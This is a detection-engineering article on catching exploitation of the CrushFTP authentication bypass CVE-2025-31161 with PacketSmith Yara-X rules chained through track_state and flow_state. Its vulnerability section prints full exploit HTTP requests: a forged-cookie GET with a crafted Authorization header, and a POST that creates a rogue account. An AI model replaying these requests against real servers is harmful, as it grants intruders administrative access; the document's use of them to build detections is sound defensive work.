# Detecting Exploitation of CrushFTP Vulnerability (CVE-2025-31161) With PacketSmith Yara Detection Module - Using track_state and flow_state

# Introduction

This vulnerability was found by [Outpost24](https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/) under the identifier CVE-2025-31161 (previously reported as CVE-2025-2825). Outpost24 and other vendors and security researchers have shared enough technical details about the root cause of the vulnerability and how to exploit it. Public PoCs are already available on GitHub, for example, the [CVE-2025-31161 PoC](https://github.com/Immersive-Labs-Sec/CVE-2025-31161).

The vulnerability was exploited in the wild by different threat actors, as reported by the [Huntress team](https://www.huntress.com/blog/crushftp-cve-2025-31161-auth-bypass-and-post-exploitation).

**N**etomize is taking this as a case study to demonstrate the new **track\_state** and **flow\_state** keywords we introduced in versions 5.3.0 and 5.4.0, in the Yara detection module, for chaining multiple rules across different packets and the same TCP/UDP flows in the pcap, respectively.

The PacketSmith Yara-X detection module introduced new (reserved) keywords to the meta section of the Yara-X rule called ***track\_state*** and ***flow\_state*** with their own syntax and grammar, to track/chain multiple rules at the same time across different packets/streams, or flows, respectively. They are used for cross-correlating different rules across different packets and streams or flows (depending on the filter type used) at runtime. This feature was inspired by the concept of [flowbits](https://docs.snort.org/rules/options/non_payload/flowbits) in Snort/Suricata, with different implementation details.

# Vulnerability Details

The vulnerability CVE-2025-31161 is an authentication-bypass vulnerability that can be exploited by constructing a specially crafted GET request containing a known username (no password is required). The username "*crushadmin*" is used as the default during setup.

I've made the pcap available for download via Netomize's official repo (RFiles), [CrushFTP (CVE-2025-31161) packet capture](https://github.com/Netomize/RFiles/blob/main/cve_2025_31161/crushftp_cve_2025_31161_auth_bypass_rce_traffic.pcap) (26,075 bytes).

To exploit the vulnerability, a request similar to the following is sent to the vulnerable CrushFTP server (in this case, it was sent against the vulnerable version `11.2.1 Build: 22`):

```plaintext
GET /WebInterface/function/ HTTP/1.1
Host: 192.168.60.129:9090
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Cookie: currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
```

**Figure-1:** CrushFTP Authentication Bypass Request (GET)

The request shown above is just for authentication bypass and forcing the server to authenticate the forged session Cookie. The `Authorization` header authentication method is AWS4-HMAC-SHA256 (a required primitive), and the Credential is set to the username "*crushadmin*" (not containing a tilda), followed by `/`. Refer to references 2 and 3 for more info. Of course, you may leak some information from the server in the GET request, depending on the requested command type.

After authenticating the session Cookie with the authentication bypass vulnerability, we may proceed to perform elevated privileges on the CrushFTP server using the same Cookie. For example, we could send a POST request similar to the following to create/add a new user:

```plaintext
POST /WebInterface/function/ HTTP/1.1
Host: 192.168.60.129:9090
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Cookie: currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Content-Length: 1084
Content-Type: application/x-www-form-urlencoded

command=setUserItem&data_action=replace&serverGroup=MainUsers&username=rogueuser&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Cuser_name%3Erogueuser%3C%2Fuser_name%3E%3Cpassword%3Eroguepass%3C%2Fpassword%3E%3Cextra_vfs+type%3D%22vector%22%3E%3C%2Fextra_vfs%3E%3Cversion%3E1.0%3C%2Fversion%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3CuserVersion%3E6%3C%2FuserVersion%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Csite%3E%28SITE_PASS%29%28SITE_DOT%29%28SITE_EMAILPASSWORD%29%28CONNECT%29%3C%2Fsite%3E%3Ccreated_by_username%3Ecrushadmin%3C%2Fcreated_by_username%3E%3Ccreated_by_email%3E%3C%2Fcreated_by_email%3E%3Ccreated_time%3E1744120753370%3C%2Fcreated_time%3E%3Cpassword_history%3E%3C%2Fpassword_history%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cvfs+type%3D%22vector%22%3E%3C%2Fvfs%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3CVFS+type%3D%22properties%22%3E%3Citem+name%3D%22%2F%22%3E%28read%29%28view%29%28resume%29%3C%2Fitem%3E%3C%2FVFS%3E&c2f=31If
```

**Figure-2:** CrushFTP Remote Command Execution Request (POST)

And, in case the above request was successfully processed by the CrushFTP HTTP Server, the server responds with the `<response_status>` XML element set to `OK` in the `<result>` root element:

```plaintext
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Tue, 12 May 2026 17:28:57 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 163

<?xml version="1.0" encoding="UTF-8"?> 
<result><response_status>OK</response_status><response_type>text</response_type><response_data></response_data></result>
```

**Figure-3:** CrushFTP Server Response - Command Execution Status

# Detection Engineering

At **N**etomize, we strive to write generic detection logic to capture known and unknown variants of potentially valid exploitation and malicious traffic, and this case is no different.

To detect the authentication bypass request, as shown in Figure 1, a PacketSmith Yara detection rule could be written as follows:

```python
rule crushftp_auth_bypass_vulnerability_get_req_cve_2025_31161
{
    meta:
	
      description = "Detect authentication bypass request in CrushFTP server (CVE-2025-31161)"
	  reference   = "https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/"
      filter      = "Frames (frames:)"
      author      = "Netomize"
      date        = "13/05/2026"
	  track_state = "set,crushftp_auth_bypass,noalert"

	strings:
	
		$uri               = "GET /WebInterface/function/"
		
		$cookie_curr_auth  = /\nCookie:[^\r\n]{0,256}currentAuth=\w{4}[;\r\n]/i
		$cookie_crush_auth = /\nCookie:[^\r\n]{0,256}CrushAuth=\w{31}/i
		$authorization     = /\nAuthorization:[^\r\n]{0,12}AWS4-HMAC-SHA256 [^\r\n=\/]{1,64}=[^~\r\n\/]{1,255}\//i
	
    condition:

	  tcp.is_set
	  and 
	  tcp.data.size > 156
	  and 
	  flow.to_server
	  and
      with buf_off = tcp.data.offset, buf_sz = tcp.data.size:
	  	(
			$uri at buf_off
			and
			$cookie_curr_auth  in (buf_off + 36..buf_off + 36 + buf_sz)
			and
			$cookie_crush_auth in (buf_off + 36..buf_off + 36 + buf_sz)
			and
			$authorization     in (buf_off + 36..buf_off + 36 + buf_sz)
	  	)
}
```

**Rule-1**: GET Request (Figure 1)

We verify the `currentAuth` and `CrushAuth` cookie keys to ensure they contain alphanumeric values of valid lengths, in any order. To exploit the vulnerability, the Authorization header must be of the `AWS4-HMAC-SHA256` type, followed by the `=` character and the known username, ensuring it doesn't include a `~` character and is followed by a `/`. Our tests indicate that the key before the `=` can be anything, and any characters may follow the `/`.

Notice in the **meta** section, we use the reserved keyword **track\_state**, introduced in version 5.3.0, to chain multiple rules across different packets in the pcap. For this request, we are `set`ting the state "*crushftp\_auth\_bypass*" to `noalert`.

To detect the POST request in Figure 2, we could write a rule similar to the following:

```python
rule crushftp_rce_vulnerability_post_req_cve_2025_31161
{
    meta:
	
      description = "Detect rce POST request in CrushFTP server (CVE-2025-31161)"
	  reference   = "https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/"
      filter      = "Frames (frames:)"
      author      = "Netomize"
      date        = "13/05/2026"
	  track_state = "isset,crushftp_auth_bypass,alert"
	  flow_state  = "set,crushftp_post_forged_cookie,noalert"

	strings:
	
		$uri               = "POST /WebInterface/function/"
		
		$cookie_curr_auth  = /\nCookie:[^\r\n]{0,192}currentAuth=\w{4}[;\r\n]/i
		$cookie_crush_auth = /\nCookie:[^\r\n]{0,192}CrushAuth=\w{31}/i
		$authorization     = /\nAuthorization:[^\r\n]{0,12}AWS4-HMAC-SHA256 [^\r\n=\/]{1,64}=[^~\r\n\/]{1,255}\//i
	
    condition:

	  tcp.is_set
	  and 
	  tcp.data.size > 156
	  and 
	  flow.to_server
	  and		
      with buf_off = tcp.data.offset, buf_sz = tcp.data.size:
	  	(
			$uri at buf_off
			and
			$cookie_curr_auth  in (buf_off + 36..buf_off + 36 + buf_sz)
			and
			$cookie_crush_auth in (buf_off + 36..buf_off + 36 + buf_sz)
			and
			$authorization     in (buf_off + 36..buf_off + 36 + buf_sz)
	  	)
}
```

**Rule-2:** POST Request (Figure 2)

The only difference between this rule and the rule for the GET request is the HTTP method, POST. The **track\_state** in this rule checks whether the state "*crushftp\_auth\_bypass*" is set/armed, and if so, alerts on the matching packet of this rule. The reason for linking the POST request to the GET request, and vice versa, depending on how you interpret the order of the requests, is that we want to check for attempted remote code execution and not just the authentication bypass request alone.

To detect the server response in Figure 3, you could write a rule similar to the following:

```python
rule crushftp_successful_rce_exploitation_response_2025_31161
{
    meta:
	
      description = "Detect successful exploitation response from the CrushFTP server (CVE-2025-31161)"
	  reference   = "https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/"
      filter      = "Frames (frames:)"
      author      = "Netomize"
      date        = "13/05/2026"
	  flow_state  = "isset,crushftp_post_forged_cookie,alert"

	strings:
	
		$http_server      = /\nServer: CrushFTP HTTP Server/i
		$response_status  = "<response_status>OK</response_status>"
	
    condition:

	  tcp.is_set
	  and 
	  tcp.data.size > 148
	  and 
	  flow.to_client
	  and		
      with buf_off = tcp.data.offset, buf_sz = tcp.data.size:
	  	(
			$http_server in (buf_off..buf_off + buf_sz)
			and
			$response_status in (buf_off + 64..buf_off + 64 + buf_sz)
	  	)
}
```

**Rule-3**: Server Response (Figure 3)

The rule checks for the header `Server: CrushFTP HTTP Server` in the server response, and the XML message `<response_status>OK</response_status>` in the response payload, indicating successful execution of the command shown in Figure 2 (POST request).

If you want to confirm that the POST request in Figure 2 was carried out successfully, we use the reserved keyword **flow\_state** introduced in version 5.4.0 to tie it to the server response (and vice versa). In doing so, we ensure that the exploitation was successful.

This is evident in the `set`ting of the flow state "*crushftp\_post\_forged\_cookie*" to `noalert` in Rule 2, and checking whether it is `set` in Rule 3, and if so, then and only then, `alert` on the matching packet against the server response. We use the **flow\_state** keyword and not the **track\_state**, because Figure 2 and Figure 3 traffic have to belong to the same flow/stream.

Running the above Yara-X rule through the linked pcap via PacketSmith and saving the result as JSON, we get the file [yara\_dte\_2026\_05\_14\_10\_34\_39.json](https://github.com/Netomize/RFiles/blob/main/cve_2025_31161/yara_dte_2026_05_14_10_34_39.json) with all the detections:

`PacketSmith.exe -i <infile_pcap> -D yara:console_json -F frames: -O .`

```plaintext
*** [ Raw Frames ] ***

id    proto      ip.src:port             ip.dst:port             size    entropy    total    rules
--    -----      -----------             -----------             ----    -------    -----    -----
25    IP4-TCP    192.168.60.128:43476    192.168.60.129:9090     447     5.96954    1        crushftp_rce_vulnerability_post_req_cve_2025_31161(4)
30    IP4-TCP    192.168.60.129:9090     192.168.60.128:43476    534     5.84315    1        crushftp_successful_rce_exploitation_response_cve_2025_31161(2)
```

# Conclusion

In this article, we have shown how to detect various stages of the exploitation chain of the vulnerability CVE-2025-31161 using PacketSmith's Yara detection module. Moreover, we have introduced and demonstrated how to use the new keywords **flow\_state** and **track\_state** to correlate multiple detection rules across different packets and flows/streams, enhancing the ability to detect and mitigate such vulnerabilities.

# References

1.  **Outpost24**: [CrushFTP auth bypass vulnerability: Disclosure mess leads to attacks](https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/)
    
2.  **SonicWall**: [Critical CrushFTP Authentication Bypass (CVE-2025-31161) Exposes Servers to Remote Attacks](https://www.sonicwall.com/blog/critical-crushftp-authentication-bypass-cve-2025-2825-exposes-servers-to-remote-attacks))
    
3.  **AttackerKB-Rapid7**: [CVE-2025-2825](https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis)
    
4.  **Huntress**: [CrushFTP CVE-2025-31161 Auth Bypass and Post-Exploitation](https://www.huntress.com/blog/crushftp-cve-2025-31161-auth-bypass-and-post-exploitation)
    
5.  **Immersive-Labs GitHub**: [CVE-2025-31161 PoC](https://github.com/Immersive-Labs-Sec/CVE-2025-31161)
    
6.  **Netomize GitHub RFiles Repo**: [CVE-2025-31161 PCAP + Yara Rules](https://github.com/Netomize/RFiles/tree/main/cve_2025_31161)
    

* * *

Author: Mohamad Mokbel

First release: May 14, 2026
